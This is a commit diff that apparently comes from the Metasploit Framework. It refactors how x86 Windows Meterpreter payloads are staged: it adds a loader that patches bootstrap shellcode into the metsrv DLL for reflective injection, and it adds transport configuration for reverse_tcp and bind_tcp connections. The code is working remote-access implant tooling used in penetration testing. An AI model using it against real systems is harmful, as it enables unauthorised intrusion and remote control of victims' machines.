Refactor configuration for meterpreter payloads (x86)
RDI is now back to what it was before, as this leaves all the other RDI style payloads alone. Instead we have a new Meterpreter loader which does the stuff that is required to make meterpreter work well with the new configuration options. This is just the case for reverse_tcp and bind_tcp so far, need to do the other payloads too, along with all the x64 versions.bug/bundler_fix
parent
3a24923361
commit
2455163d24
|
@ -47,6 +47,16 @@ module Payload::Windows::BindTcp
|
|||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
def generate_transport_config
|
||||
{
|
||||
:scheme => 'tcp',
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection.
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::MeterpreterLoader
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Meterpreter & Configuration RDI',
|
||||
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
|
||||
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
mov [ebx+4], esi ; write the current listen socket to the config
|
||||
push ebx ; push the pointer to the configuration start
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" )
|
||||
return
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -2,7 +2,6 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -57,11 +56,7 @@ module Payload::Windows::ReflectiveDllInject
|
|||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
mov [ebx+4], esi ; write the current listen socket to the config
|
||||
push ebx ; push the pointer to the configuration start
|
||||
push edi ; push the socket handle
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
|
@ -75,14 +70,14 @@ module Payload::Windows::ReflectiveDllInject
|
|||
^
|
||||
end
|
||||
|
||||
def stage_payload(target_id=nil)
|
||||
def stage_payload
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => 'thread'
|
||||
:exitfunk => 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
@ -99,28 +94,7 @@ module Payload::Windows::ReflectiveDllInject
|
|||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
}),
|
||||
:transports => [{
|
||||
:scheme => 'tcp',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll + config.to_b
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -49,6 +49,17 @@ module Payload::Windows::ReverseTcp
|
|||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
def generate_transport_config
|
||||
{
|
||||
:scheme => 'tcp',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -227,8 +238,8 @@ module Payload::Windows::ReverseTcp
|
|||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
; esi at this point is zero, which is what
|
||||
; we need to pass to the second stage
|
||||
; esi at this point is zero, which is what we need to
|
||||
; pass to the second stage in the case of Meterpreter.
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
|
|
|
@ -5,19 +5,20 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -28,14 +29,29 @@ module Metasploit3
|
|||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x86.dll')
|
||||
def stage_payload
|
||||
stage_meterpreter + generate_config
|
||||
end
|
||||
|
||||
def generate_config
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
}),
|
||||
:transports => [ generate_transport_config ],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue